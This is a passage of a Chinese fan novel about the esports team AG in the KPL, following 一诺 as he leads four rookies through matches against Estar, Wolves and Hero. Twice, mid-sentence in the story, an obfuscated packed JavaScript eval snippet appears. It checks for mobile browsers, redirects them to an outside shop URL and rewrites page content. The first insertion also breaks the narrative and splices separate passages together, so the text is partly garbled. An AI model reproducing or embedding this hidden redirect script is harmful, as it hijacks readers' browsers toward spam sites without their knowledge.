兰陵王拿下一血! “漂亮!”李九喊道,“AG新人打野拿到了他在KPL的第一个人头!” 现场AG粉丝爆发出巨大的欢呼。 节奏开始转向AG。钟意的兰陵王像幽灵一样在野区游荡,每一次出现都伴随着击杀。长生的周瑜推塔速度极快,三分钟就推掉了中路一塔。 而徐必成的狄仁杰呢? 他在下路被Estar三人越塔。 刺痛的花海、诺言的马超、无铭的太乙真人——Estar几乎全员出动,就为了杀一个狄仁杰。 但徐必成没有死。 净化秒解控制,闪现躲开关键技能,二技能解掉标记,狄仁杰在塔下跳着死亡的舞蹈,硬是撑到了队友赶来。 “一诺这波操作!”琪琪激动地说,“三人在塔下强杀,他居然活下来了!” “不仅活下来了,还拖住了Estar三人!”李九接话,“AG其他四人趁这个机会推掉了上路二塔!” 经济瞬间反超。 “这就是一诺说的‘当诱饵’。”后台,Awoke对助理教练说,“他用自己吸引火力,给队友创造机会。” 助理教练点头:“但这个打法太危险了,万一死了……” “他相信自己的操作。”Awoke看着屏幕,“也相信队友能把握住机会。” 比赛继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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AG扳回一局! --- 现场沸腾了。 AG粉丝区,所有人都站了起来,疯狂挥舞着应援物。林晓晓和陈薇拥抱在一起,眼眶发红。 “他们做到了!”林晓晓激动地说。 “新生……”陈薇喃喃自语,“真的新生了。” 选手席上,AG五人摘下耳机,彼此击掌。钟意笑得像个孩子,长生推了推眼镜,大帅和轩染击掌,徐必成则平静地喝了口水。 导播给了一个特写镜头——徐必成在跟钟意说着什么,手搭在对方肩膀上,像是在鼓励,又像是在指导。 “这就是传承。”李九感慨,“一诺在把自己的经验传授给新人。” 第三局,Estar调整战术,不再针对一诺,而是针对钟意。但AG也变了——这一局,carry的是长生。 他的干将莫邪,四剑全中,秒掉Cat的沈梦溪,拿下四杀。 2:1,AG反超比分。 第四局,Estar背水一战,拿出大乔体系。但AG的应对更胜一筹,轩染的关羽绕后切C,大帅的盾山背回关键人物。 3:1,AG拿下赛点。 第五局,巅峰对决。 双方阵容完全镜像:澜、不知火舞、公孙离、张飞、吕布。 十个一模一样的英雄,绝对的公平,也绝对的残酷。 加载界面,徐必成活动了一下手指。 “最后一局了。”他在语音里说,“不管输赢,打出我们的东西。” “明白!”四个新人齐声回答。 游戏开始。 这一局,双方都打得极其谨慎。前十分钟,人头比1:1,经济差始终在五百以内。 转折点在十三分钟的暴君团。 Cat的不知火舞闪现开团,秒掉大帅的张飞。但几乎同时,钟意的澜进场收割,秒掉Estar的公孙离。 3换3,双方都只剩下两人。 徐必成的公孙离和长生的不知火舞,对阵Cat的不知火舞和花海的澜。 2V2,决定胜负的时刻。 “一诺和Cat,曾经的队友,现在的对手。”李九的声音透着紧张,“这一波,将决定比赛的走向。” 屏幕上,徐必成的公孙离在龙坑边缘游走。他的血量不多,只有三分之一。Cat的不知火舞同样残血,但技能都在。 两人在对峙。 谁先动,谁就可能死。 时间仿佛凝固了。 然后,徐必成动了。 公孙离一技能向前,大招推伞,但这不是进攻——是诱饵。他在赌,赌Cat会抓住这个机会。 Cat果然上当了。 不知火舞一闪进场,但徐必成的公孙离瞬间二技能旋转,挡掉扇子,同时一技能回到伞位,反手普攻。 但Cat的反应也快,二技能拉开距离。 两人都是残血,都是丝血。 就在这时,长生的不知火舞从侧面进场,一套连招秒掉Cat! 几乎同一时间,花海的澜也切掉了长生。 1换1。 但徐必成的公孙离还活着! 他冷静地点杀澜,然后带着兵线,一路推上高地。 Estar只剩一个刚复活的吕布,无力回天。 水晶爆炸。 4:1! AG赢了! --- 现场彻底疯狂。 AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓和陈薇抱在一起,泪流满面。 舞台上,AG五人紧紧拥抱。钟意哭得像个孩子,长生摘下眼镜擦眼泪,大帅和轩染又哭又笑,徐必成则红着眼眶,拍着每个人的肩膀。 导播把镜头给到Estar选手席。Cat坐在那里,表情平静。他看着屏幕上“失败”二字,然后抬起头,看向AG那边。 眼神里没有失落,没有不甘,反而有一种……欣慰? 赛后握手环节,当徐必成走到Cat面前时,Cat用力握了握他的手,低声说:“带得不错。” 徐必成点头:“谢谢Cat哥。” “继续加油。”Cat拍拍他肩膀,“路还长。” 采访环节,记者把话筒递给徐必成:“带领四个新人赢下Estar这样的强队,感觉怎么样?” 徐必成想了想,说:“不是我在带领他们,是我们在互相成就。他们信任我,我也信任他们。这就是团队。” “那对新赛季有什么期待?” “一场一场打。”徐必成看向镜头,“我们不谈冠军,不谈季后赛,只谈下一场比赛。打好每一场,就够了。” 采访结束,徐必成回到后台。 四个新人围上来,七嘴八舌地说着刚才的比赛。钟意还在激动:“诺哥,我那个澜进场时机怎么样?” “很好。”徐必成笑着点头。 “我干将四杀呢!”长生推了推眼镜。 “厉害。” “我张飞保护到位吧?”大帅问。 “到位。” “我吕布跳大呢?”轩染问。 “完美。” 徐必成看着这四个少年,心里涌起一种久违的感觉——希望。 是的,希望。 AG没有死,AG正在重生。 而这重生,不是靠他一个人,是靠这五个人的共同努力。 --- 深夜,AG基地训练室。 徐必成打开直播。不是为了庆祝胜利,只是想和粉丝聊聊天。 开播瞬间,弹幕爆炸: “诺队牛逼!” “新生AG!” “钟意太猛了!” “长生干将四杀!” 徐必成调整了一下摄像头,笑着说:“今天打得不错,但也有很多问题。接下来要好好复盘,继续改进。” 弹幕有人问:“诺队,你觉得AG能进季后赛吗?” “一场一场打。”徐必成重复了采访时的回答,“我们现在不想那么远,只想下一场怎么赢。” 直播到一半,有个ID叫“薇风拂晓”的人送了个礼物,然后发了一条弹幕:“今天在现场,看到你们赢,哭了。” 徐必成看到了,回复:“谢谢你们来现场。没有你们的支持,我们走不到今天。” 直播结束后,徐必成收到Cat的消息:“今天打得很好。但记住,这才刚刚开始。” “我明白。” “好好带那几个新人。他们是AG的未来。” “我会的。” 关掉手机,徐必成走到窗边。 窗外,成都的夜色温柔。远处天府软件园的灯光连成一片星海,每一盏灯下,都有人在为梦想奋斗。 而他,终于不是一个人在战斗了。 他有队友,有信任,有希望。 新生AG的路还很长。 但他们已经迈出了第一步。 坚实而有力的一步。 黎明前的黑暗已经过去。 曙光,就在眼前。 【第七章·完】 8. 新秀墙 2021年4月,成都AG超玩会基地 连胜的狂欢持续了整整一周。 赢下Estar后,AG又接连战胜了RNG.M、TES、LGD,以四连胜的战绩冲到了联盟第三。热搜每天都有AG的名字,#新生AG#、#一诺带飞#、#钟意天才打野#、#长生四杀#……舆论像坐过山车一样,从“AG已死”变成了“AG重生”。 基地里处处洋溢着轻松的气氛。训练赛赢多输少,直播时弹幕全是夸奖,就连食堂阿姨打菜的手都不抖了。 只有徐必成保持着冷静。 “别飘。”他在训练室里对四个新人说,“四连胜而已,赛季还长。” 钟意笑嘻嘻地说:“诺哥,我们现在可是联盟第三!” “上赛季我们开局也连胜,后来呢?”徐必成反问。 钟意的笑容僵在脸上。 “电子竞技最忌讳的就是一场论、一周论、甚至一个月论。”徐必成看着他们,“版本会变,对手会研究你,状态会有起伏。现在夸你的人,输的时候骂得最狠。明白吗?” 四个新人点头,但眼神里还是有些不服气。 徐必成没再多说。有些道理,必须亲身经历才能懂。 --- 一周后,AG对阵重庆狼队。 狼队是上赛季的四强,这个赛季补强了边路和辅助,实力稳中有升。赛前预测,七成的人认为AG会赢——毕竟他们是“新生AG”,气势如虹。 但比赛开始后,一切都变了。 第一局,狼队的教练林用一手奇招BP,放出版本T0打野镜,却在四楼五楼锁定了东皇太一和张良。 “强控阵容。”解说李九说,“狼队这是要针对AG的野射双核。” 果然,开局钟意的镜就被疯狂针对。东皇太一和张良像连体婴儿一样,每次镜露头,必有一个大招等着他。 “我动不了。”钟意在语音里说,声音有些急躁。 “稳住,刷野发育。”徐必成的马可波罗在下路稳健补刀。 但狼队显然不打算给AG发育的机会。四分钟,狼队四人越塔强杀马可波罗,即使徐必成操作拉满,还是被东皇太一的大招定住,送出一血。 “First Blood!” 节奏开始崩盘。 接下来的比赛成了狼队的碾压局。AG的野区被反烂,线上被压制,团战被强开。十五分钟,经济差扩大到八千。 最终,AG 0:1 输掉第一局。 中场休息,休息室里气氛有些凝重。 “他们的强控阵容很克制我们。”教练Awoke在白板上画着,“下一局我们要拆掉东皇或者张良。” “我拿庄周吧。”大帅说,“可以解控。” “好。”Awoke点头,“第二局我们蓝色方,可以一抢。” 第二局BP开始。 AG蓝色方,一楼锁定了庄周。狼队反手拿出盾山和关羽。 “他们在拆我们的阵容。”长生皱眉。 “没事,按我们的打。”徐必成说,“钟意,你这局拿赵云,稳一点。” “好。” 但狼队的准备显然更充分。林教练在第三轮Ban位按掉了徐必成的孙尚香和公孙离,逼迫他拿出版本并不强势的狄仁杰。 而狼队自己,则拿到了版本T0射手马可波罗,搭配中单周瑜和打野澜。 阵容强度完全不在一个档次。 比赛开始,AG依然处处被动。庄周的解控虽然有用,但狼队的控制链太足——盾山背人,关羽推人,周瑜铺火,马可波罗转大。 AG像被困在泥潭里,有力使不出。 十二分钟,狼队拿下主宰,带着兵线推掉AG三路高地。 最终,AG 0:2 落后。 第三局,AG背水一战,拿出了压箱底的大乔体系。但狼队早有防备,拿出了老夫子和哪吒,专治大乔电梯流。 比赛进行到二十分钟,AG虽然顽强抵抗,但还是被狼队找到了机会。老夫子闪现开团,大中徐必成的虞姬,哪吒飞后排,切掉长生。 团灭。 水晶爆炸。 0:3。 AG被狼队零封。 四连胜,戛然而止。 --- 赛后,微博热搜第一:#AG被零封#。 评论区瞬间反转: “原形毕露” “新人就是新人,一遇到强队就拉胯” “一诺带不动” “早说了AG不行” 钟意盯着手机屏幕,手指在颤抖。刚才第三局,他的裴擒虎被狼队打野完全压制,整场比赛毫无节奏。 “别看。”徐必成拿过他的手机,“现在看这些只会影响心态。” “可是他们说我……” “说你怎么了?”徐必成看着他,“说你菜?说你不行?那你就用比赛证明他们错了。在这里自怨自艾有什么用?” 钟意低下头,眼眶发红。 长生咬着嘴唇,大帅沉默不语,轩染看着窗外。 徐必成知道,这就是“新秀墙”——新人选手在经历初期的高光后,必然会遇到的瓶颈期。对手开始研究你,版本开始针对你,自己的状态也会有起伏。 能跨过去,就是一流选手。 跨不过去,就可能泯然众人。 “都过来。”徐必成拍拍手,“复盘。” 五个人围在电脑前,开始看比赛录像。徐必成把每一波团战都暂停,分析每一个失误。 “这里,钟意,你为什么要在这个时间点开龙?” “我以为能偷掉……” “你以为?”徐必成指着小地图,“看这里,狼队的辅助已经在这个草丛蹲了三十秒,就是在等你开龙。你没做视野就开龙,等于送。” 钟意脸一红。 “长生,这波团战你为什么在侧翼?” “我想切后排……” “但你被老夫子大中了。”徐必成快进画面,“如果你跟在团队后面,就不会被开。” 长生推了推眼镜,没说话。 “大帅,你的大乔电梯放得太靠前了。” “轩染,你的关羽绕后时机不对。” “还有我。”徐必成最后说,“我太想发育了,支援慢了。我的问题。” 他把所有人的问题都指出来,包括自己的。没有责备,只有分析。 复盘持续到凌晨两点。 结束时,徐必成说:“输不可怕,可怕的是不知道为什么输。现在我们知道问题了,接下来就是解决问题。” 四个新人点头,眼神重新变得坚定。 --- 同一时间,上海某大学宿舍。 林晓晓盯着电脑屏幕,手指在键盘上敲击,又删除,再敲击,再删除。 她在写一篇分析帖,关于AG输给狼队的比赛。不是洗白,不是甩锅,而是客观分析问题所在。 但很难写。 因为评论区已经炸了。她之前发的“新生AG”的帖子,现在被挖出来嘲讽: “新生?暴毙还差不多” “就这还吹?” “AG粉丝脸疼不疼?” 她咬着嘴唇,继续打字: “输给狼队确实暴露了AG很多问题:新人经验不足,英雄池不够深,战术储备不足。但这就是成长的过程。给新人一点时间,给队伍一点耐心。” 点击发布。 几乎立刻,评论区涌进一堆人: “又来洗地了” “时间?都四场比赛了还新人?” “电子竞技菜是原罪” 林晓晓关掉网页,躺在床上。 手机震动,是陈薇发来的微信:“晓晓,别在意那些评论。” “我知道。”林晓晓回复,“只是……有点难受。” “我懂。”陈薇发了个叹气的表情,“我从BA时期开始看AG,经历过太多起落了。2018年BA十六连胜总亚军,2019年AG夺冠,2020年一轮游……现在这点挫折,不算什么。” “但那些新人……” “新人需要时间。”陈薇说,“一诺当年也是新人,也有过新秀墙。相信他,他能带好那几个孩子。” 林晓晓看着这句话,心里好受了一些。 是啊,一诺也是从新人走过来的。 他经历过更深的低谷,更恶毒的谩骂。 但他挺过来了。 现在,轮到他带着新人挺过来。 --- 接下来的一周,AG的训练量加倍。 每天的训练赛从三场增加到五场,每场比赛后立刻复盘,发现问题立刻解决。徐必成几乎住在训练室里,除了吃饭睡觉,就是训练、复盘、研究对手。 四个新人开始出现疲态。 “诺哥,今天能不能早点休息?”钟意揉着太阳穴,“我头好疼。” “头疼就休息半小时。”徐必成头也不抬,“但训练不能停。” “可是……” “没有可是。”徐必成终于抬起头,看着他,“钟意,你想成为顶级打野吗?” “想。” “那就练。”徐必成说,“现在所有队伍都在研究你,你的打法,你的习惯,你的英雄池。如果你不进步,就会被淘汰。明白吗?” 钟意咬了咬牙:“明白。” 训练继续。 但徐必成能感觉到,队伍的气氛在发生变化。以前训练时大家有说有笑,现在只剩下键盘敲击声和偶尔的交流。 压力太大了。 他知道,但不能放松。电子竞技就是这样——逆水行舟,不进则退。 --- 周末,AG对阵南京Hero久竞。 Hero是上赛季的冠军,这个赛季状态有所下滑,但依然是顶级强队。赛前预测,六成的人认为Hero会赢。 比赛开始前,徐必成在后台遇到了久哲——Hero的传奇教练,Cat的恩师。 “一诺。”久哲主动打招呼。 “久哲教练。”徐必成点头。 “带新人很辛苦吧?”久哲笑着问。 “还好。” “别太逼他们。”久哲说,“新人像幼苗,太用力会折断。要给他们成长的空间。” 徐必成愣了一下:“可是……” “我知道你想赢。”久哲拍拍他肩膀,“但有时候,输几场不是坏事。输才能发现问题,输才能成长。” 说完,他转身离开。 徐必成站在原地,若有所思。 比赛开始。 第一局,AG依然打得挣扎。钟意的打野节奏混乱,长生的中单支援不及时,大帅的辅助开团犹豫,轩染的边路被抓。 只有徐必成在苦苦支撑。 但一个人的力量是有限的。二十分钟,AG输掉第一局。 0:1。 中场休息,休息室里气氛压抑。 “我打得好烂。”钟意抱着头。 “我也是。”长生说。 “我也是。”大帅说。 “我也是。”轩染说。 徐必成看着他们,忽然说:“我的问题。” 四个新人抬起头。 “我太急了。”徐必成说,“急着想赢,急着想让你们成长,给了你们太大压力。我的错。” 他走到白板前,把之前的战术安排全部擦掉。 “第二局,我们换个打法。” “怎么打?”钟意问。 “放开了打。”徐必成说,“别想什么战术,别想什么运营,就想着一件事——秀操作。用你们最自信的英雄,打你们最熟悉的打法。输就输,赢就赢,不留遗憾。” 四个新人愣住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028846|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “可是教练……”长生看向Awoke。 Awoke沉吟片刻,点头:“听一诺的。” 第二局BP开始。 AG蓝色方,一楼锁定了钟意最自信的镜。二楼拿下长生最擅长的不知火舞。三楼是大帅的鬼谷子。四楼是轩染的马超。 五楼,徐必成选了狄仁杰——工具人射手,把carry的机会完全让给队友。 阵容确定:镜、不知火舞、狄仁杰、鬼谷子、马超。 极致的进攻阵容。 加载界面,徐必成在语音里说:“记住,这一局,你们是核心。我会给你们让经济,给你们创造机会。但你们要敢打,敢秀,敢操作。能做到吗?” “能!”四个新人齐声回答。 游戏开始。 开局,钟意的镜直接入侵野区。他不再瞻前顾后,不再犹豫不决,而是像一柄出鞘的剑,锋芒毕露。 长生不知火舞二级就游走支援,大帅鬼谷子闪现开团,轩染马超七进七出。 AG打得毫无章法,但又充满灵性。 Hero显然没料到AG会这么打——这不是他们研究过的AG,这不是那个按部就班运营的AG。 这是五个敢打敢拼的少年。 八分钟,AG经济领先三千。 十二分钟,AG推掉Hero三路外塔。 十五分钟,AG拿下主宰,带着兵线推上高地。 钟意的镜在人群中飞舞,拿下三杀。长生的不知火舞秒掉双C。轩染的马超收割残局。 团灭。 一波。 1:1! AG扳回一局! “漂亮!”解说李九激动地说,“这才是我们想看到的AG!敢打敢拼,操作拉满!” 第三局,AG延续了这种打法。虽然阵容依然有缺陷,虽然运营依然有瑕疵,但五个人的操作和配合达到了巅峰。 长生干将莫邪四剑全中,秒掉Hero的核心输出。 钟意澜进场收割,拿下四杀。 轩染关羽绕后开团,推到三人。 大帅盾山背回关键人物。 而徐必成,则用狄仁杰在后方稳定输出,保护队友。 2:1,AG反超比分。 第四局,Hero调整战术,拿出了强控阵容。但AG已经打疯了——钟意的裴擒虎二级反野,长生的沈梦溪大招封路,轩染的吕布跳大进场。 虽然Hero顽强抵抗,但AG的操作太顶了。 最终,AG 3:1 战胜Hero! 从狼队的零封,到Hero的胜利,只用了五天时间。 --- 赛后采访,记者把话筒递给钟意。 这个刚满十八岁的打野少年,眼睛还红着,但脸上满是笑容。 “今天打得很好,感觉怎么样?”记者问。 “很爽!”钟意说,“诺哥让我们放开了打,别想那么多。我们就真的放开了打,然后就赢了。” “那一波四杀呢?” “那波……”钟意挠挠头,“其实我没想那么多,就是觉得能杀,就上了。” 记者笑了,把话筒递给徐必成:“一诺,今天你完全把carry的机会让给了队友,是有意为之吗?” 徐必成点头:“是。他们需要自信,需要证明自己。我能做的,就是相信他们,给他们创造机会。” “那接下来……” “接下来还有很多硬仗。”徐必成说,“但我们不怕了。因为我们知道,我们五个人在一起,就能赢。” 采访结束,AG五人回到后台。 四个新人还在兴奋地讨论刚才的比赛。徐必成看着他们,心里涌起一种成就感。 这种成就感,比他自己carry赢比赛更强烈。 因为他看到了成长。 看到了希望。 手机震动,是Cat发来的消息:“今天打得不错。那几个新人,有内味儿了。” “还得练。”徐必成回复。 “慢慢来。你现在越来越有队长样了。” 徐必成看着这句话,笑了。 队长。 这个词,他现在终于能坦然接受了。 --- 深夜,训练室。 徐必成没有复盘今天的比赛,而是打开了明天的对手——广州TTG的比赛录像。 TTG这个赛季状态火热,目前排在联盟第一。他们的打野不然、中单九尾、射手钎城,都是顶级选手。 “看什么呢?”钟意凑过来。 “明天的对手。”徐必成说,“TTG的野区进攻很强,你的压力会很大。” “我不怕。”钟意挺起胸膛,“今天我都能打爆Hero,明天也能打爆TTG。” 徐必成看了他一眼:“自信是好事,但别轻敌。TTG不是Hero,他们的运营和节奏是联盟顶级的。” “那我们怎么打?” 徐必成想了想:“继续放开了打。但这次,我们要加点东西。” “加什么?” “纪律性。”徐必成在白板上写写画画,“放开了打不是乱打,是在纪律性的基础上发挥操作。该支援的时候必须支援,该让资源的时候必须让资源,该撤退的时候必须撤退。” 四个新人围过来,认真听着。 “明天,我们打团队。”徐必成说,“不是一诺带四新人,也不是新人自己秀。是五个人,一个团队。” 窗外,夜色深沉。 但训练室里,灯火通明。 五个少年,为了同一个目标,继续奋斗。 新秀墙还在那里。 但他们已经找到了翻过去的方法。 不是一个人爬,是五个人一起。 路还长。 但他们,已经准备好了。 【第八章·完】 9. 传承之战 2021年5月,上海KPL电竞中心 季后赛的空气里弥漫着硝烟的味道。 聚光灯下,舞台两侧的选手席遥遥相对。左侧是AG超玩会——黑红队服的五个少年,平均年龄18.6岁,联盟最年轻的季后赛队伍。右侧是武汉eStarPro——深蓝队服的五个选手,平均年龄21.4岁,联盟经验最丰富的战队之一。 而连接这两支队伍的,是两个人。 AG.一诺,徐必成,19岁,AG队长,前Estar选手Cat的前队友。 eStarPro.Cat,郭家毅,23岁,Estar队长兼指挥,一诺职业生涯的引路人。 导播很懂地把镜头在两人之间切换。大屏幕上,徐必成戴着耳机,表情专注地调试设备。Cat则在和队友说着什么,手指在白板上比划。 “季后赛四强战,新老对决。”解说李九的声音透过音响传遍全场,“AG以黑马姿态闯入四强,而Estar则是上赛季亚军,这个赛季的夺冠热门。更特别的是,这是一诺和Cat的第三次季后赛交锋。” 琪琪接话:“第一次是2019年秋季赛,Cat还在AG,他们一起夺冠。第二次是去年,Cat在Estar,AG一轮游。现在是第三次,两个人都成了各自队伍的绝对核心。” 观众席上,林晓晓紧紧握着陈薇的手。 “紧张吗?”陈薇问。 “嗯。”林晓晓点头。她们提前四个小时来排队,才抢到了第三排的位置。整个AG应援区坐满了人,手幅、灯牌、横幅……几乎要把这一片染成黑红色。 这是AG新生后的第一个季后赛,也是检验这支年轻队伍成色的真正试金石。 “不管输赢,能走到这里已经很了不起了。”陈薇说,但她的手也在微微颤抖。 舞台上,徐必成调整了一下耳机。 他能听到自己的心跳,沉稳而有力。和一个月前不同,现在的他不再紧张,不再焦虑。经过一个赛季的磨合,他和四个新人已经建立了足够的默契和信任。 “都准备好了吗?”他在语音里问。 “准备好了!”四个声音同时回答。 钟意的声音最响亮,带着少年人特有的锐气。长生推了推眼镜,大帅深呼吸,轩染活动手腕。 “记住我们的战术。”徐必成说,“Estar的强点在Cat的指挥和花海的野区进攻。我们要做的,就是打乱他们的节奏。” “怎么打乱?”钟意问。 “用我们最熟悉的方式。”徐必成说,“快攻,换线,野区入侵。他们经验丰富,我们就用年轻人的冲劲打垮他们。” 倒计时结束。 BP开始。 --- 第一局,Estar蓝色方。 Cat站在选手席后方,手里拿着战术本。他今天穿了一身深蓝色西装,头发梳得一丝不苟,看起来不像选手,更像一个运筹帷幄的将军。 “禁公孙离和孙尚香。”Cat说得很平静,“针对一诺。” Estar前两Ban果然给到了这两个射手。AG则按掉了Cat的鲁班大师和盾山。 “一楼拿澜。”Cat说,“逼他们拿镜。” Estar锁定澜。AG毫不犹豫地锁定了镜——钟意最自信的英雄,也是这个版本的T0打野。 “他们在赌。”Cat对教练说,“赌钟意的镜能带起节奏。” “那我们……” “拿张良和东皇。”Cat说,“双强控,专治花里胡哨。” Estar二楼三楼锁定了张良和东皇太一。现场一片哗然——这是狼队曾经用来克制AG的阵容,现在Cat拿来用了。 AG这边,教练Awoke皱眉:“他们在针对我们的野射双核。” “那就打三核。”徐必成说,“长生拿干将,轩染拿马超,我拿狄仁杰。” 阵容确定: AG:镜(钟意)、干将莫邪(长生)、狄仁杰(一诺)、太乙真人(大帅)、马超(轩染) Estar:澜(花海)、张良(Cat)、虞姬(易峥)、东皇太一(无铭)、吕布(坦然) 加载界面,徐必成深吸一口气。 “钟意,这局你的压力会很大。” “我知道。”钟意说,“但我能打。” “好。”徐必成点头,“记住,不要怕死,怕死才会死。” 游戏开始。 开局,钟意的镜蓝开。但Estar显然研究过他的刷野路线——花海的澜直接带着东皇入侵红区,三Buff开局。 “我红没了。”钟意说。 “让了。”徐必成很冷静,“你刷完蓝区抓中,长生有线权。” “好。” 钟意刷完蓝区升到四级,果然往中路走。长生的干将莫邪已经压低了Cat张良的血量,镜进场一套连招—— 但Cat的反应快到极致。张良闪现拉开距离,反手二技能封路。几乎同时,东皇太一从草丛里钻出来,大招吸住镜! “First Blood!” 镜送出一血。 “我的。”钟意声音低沉。 “没事。”徐必成说,“继续打。” 但Estar的节奏已经起来了。Cat的指挥精准如手术刀,每一次进攻都打在AG最难受的时间点。花海的澜在野区横冲直撞,钟意的镜完全被压制。 十二分钟,经济差拉到五千。 “守不住了。”大帅说。 “能守。”徐必成的狄仁杰在塔下清兵,“拖后期,我们能翻。” 但Estar显然不打算给机会。十五分钟,Estar带着主宰先锋上高地。Cat的张良闪现开团,大中长生的干将。花海的澜进场收割,拿下三杀。 团灭。 水晶爆炸。 0:1。 AG输掉第一局。 --- 中场休息,AG休息室。 气氛有些凝重。 钟意低着头,手指在颤抖。刚才那局,他的镜被Cat完全看透,整场比赛毫无作为。 “我的问题。”他说,“我太急了。” “不,是我的问题。”徐必成说,“我低估了Cat的准备。他们研究了我们的所有比赛录像,知道钟意的刷野路线,知道长中的支援习惯,知道大帅的开团时机。” 他走到白板前,把Estar的战术图画出来。 “Cat的指挥核心是什么?”他问。 “节奏。”长生说。 “不,是预判。”徐必成说,“他在预判我们的每一步动作。我们按常规打法打,就一定会被他预判到。” “那怎么办?”大帅问。 “打破常规。”徐必成说,“用他们预想不到的方式打。” 他擦掉白板上的所有内容,重新画。 “第二局,我们换线。” “换线?”四个新人都愣住了。 “对。”徐必成说,“我走中,长生走发育路,钟意打蓝领野,把经济让给轩染和马超。我们要打乱他们的部署。” “这……太冒险了吧?”教练Awoke皱眉。 “不冒险怎么赢?”徐必成看着教练,“Estar是经验丰富的强队,按常规打法我们赢不了。只有出奇制胜。” Awoke沉默了几秒,最后点头:“好。第二局,按一诺说的打。” 休息时间结束,五人重新上场。 导播给了一个特写镜头——徐必成在跟四个新人说着什么,表情认真而坚定。 “AG好像调整了战术。”李九说,“看一诺的表情,很有信心。” --- 第二局BP开始。 AG蓝色方,一楼锁定了马超——轩染的绝活英雄。Estar则拿下了Cat最擅长的鬼谷子和花海的镜。 AG二楼三楼拿出了钟意的裴擒虎和长生的不知火舞。 “AG这是要打快攻?”琪琪疑惑。 但接下来的选择让所有人都看不懂了。 AG四楼锁定了狄仁杰——这很正常,一诺的射手。但五楼,AG居然选出了庄周! “庄周?”李九惊讶,“AG这是要解控?但Estar这局的阵容控制并不多啊。” 更让人看不懂的是,进入游戏后,AG的阵容分路完全变了。 狄仁杰走中路。 不知火舞走发育路。 裴擒虎打野,马超对抗路,庄周辅助。 “换线了!”琪琪惊呼,“AG换线了!” 现场一片哗然。Estar选手席上,Cat也愣了一下。他显然没料到AG会这么打。 游戏开始。 徐必成的狄仁杰在中路对线Cat的鬼谷子。这不是一个常规对线,但徐必成打得游刃有余。狄仁杰清线快,有控制,有解控,完全不怕鬼谷子的骚扰。 而发育路,长生的不知火舞对线Estar的射手。法刺打射手,前期有绝对优势。两分钟,不知火舞单杀射手! “First Blood!” 长生拿下一血! “漂亮!”李九喊道,“AG的换线战术起作用了!” 节奏开始转向AG。钟意的裴擒虎放弃野区,专注抓边。轩染的马超在对抗路打出优势,大帅的庄周到处游走解控。 Estar的节奏完全被打乱了。Cat的鬼谷子每次想开团,都会被庄周解掉。花海的镜想切后排,但AG的分路变化让他找不到目标。 十二分钟,AG经济领先三千。 “这就是年轻人的冲劲。”琪琪感慨,“AG完全打乱了Estar的部署。” 十五分钟,风暴龙王团。 Cat的鬼谷子找到机会,闪现开团拉中三人。但大帅的庄周秒开大招解控,徐必成的狄仁杰反手大招定住鬼谷子。 “Cat被控了!”李九喊道。 长生的不知火舞一套连招秒掉鬼谷子,钟意的裴擒虎进场收割,轩染的马超七进七出。 完美团战。 AG打出1换5,团灭Estar,拿下龙王,一波推平水晶。 1:1! AG扳回一局! --- 现场沸腾了。 AG粉丝区,所有人都站了起来,疯狂欢呼。林晓晓和陈薇拥抱在一起,眼泪不争气地流下来。 “他们做到了!”林晓晓激动地说。 “换线战术……”陈薇喃喃自语,“一诺真的成长了。” 舞台上,AG五人摘下耳机,彼此击掌。钟意笑得像个孩子,长生推了推眼镜,大帅和轩染击掌,徐必成则平静地喝了口水。 导播把镜头给到Estar选手席。Cat坐在那里,表情平静。他看着屏幕上的回放,手指在战术本上快速记录。 “他在思考。”李九说,“Cat最可怕的地方就是,他能在一局比赛中迅速找到对手的弱点,并制定对策。” 果然,第三局BP时,Estar调整了战术。 他们放出了AG的换线阵容,但在四楼五楼锁定了老夫子和哪吒——专治AG的灵活阵容。 “Estar在反制。”琪琪说,“老夫子的大招能捆住关键人物,哪吒能飞后排。AG的换线战术可能不奏效了。” 但AG也变了。 这一局,他们没有换线,而是拿出了最经典的射核体系:一诺孙尚香,长生张良,钟意兰陵王,大帅太乙真人,轩染吕布。 “AG又回到了他们最熟悉的打法。”李九说,“这是要拼硬实力了。” 游戏开始。 这一局打得异常焦灼。Estar的老夫子和哪吒确实给AG造成了很大麻烦,但AG的韧性更强。 徐必成的孙尚香在太乙真人的保护下稳定发育,十分钟就做出了三件套。长生的张良每次大招都给到关键人物,钟意的兰陵王神出鬼没,轩染的吕布团战搅屎棍。 二十分钟,风暴龙王团。 决定胜负的一波。 Cat的鬼谷子找到机会,闪现拉中三人。Estar全员跟上输出,瞬间秒掉大帅的太乙真人和长生的张良。 AG只剩三人。 “要输了吗?”林晓晓紧张地握紧拳头。 但徐必成没有放弃。 孙尚香翻滚拉开距离,一炮打在Estar前排身上——暴击!前排瞬间残血! 再翻滚,再一炮——双杀! “一诺还在输出!”李九的声音已经嘶哑。 钟意的兰陵王进场收割,秒掉Estar的射手。轩染的吕布跳大,控住三人。 徐必成的孙尚香在后方疯狂输出,每一炮都打在关键位置。 “Triple Kill!” “Quadra Kill!” 四杀! Estar只剩下Cat的鬼谷子一人,无力回天。 AG带着兵线,一波推平水晶。 2:1! AG反超比分! --- 第四局,Estar背水一战。 Cat拿出了他的招牌英雄——鲁班大师。搭配中单西施和射手马可波罗,组成了极致的控制链阵容。 而AG,则选择了稳扎稳打:一诺狄仁杰,长生沈梦溪,钟意赵云,大帅张飞,轩染关羽。 这一局,双方都打得极其谨慎。前十五分钟,人头比3:3,经济差始终在五百以内。 转折点在十八分钟的暴君团。 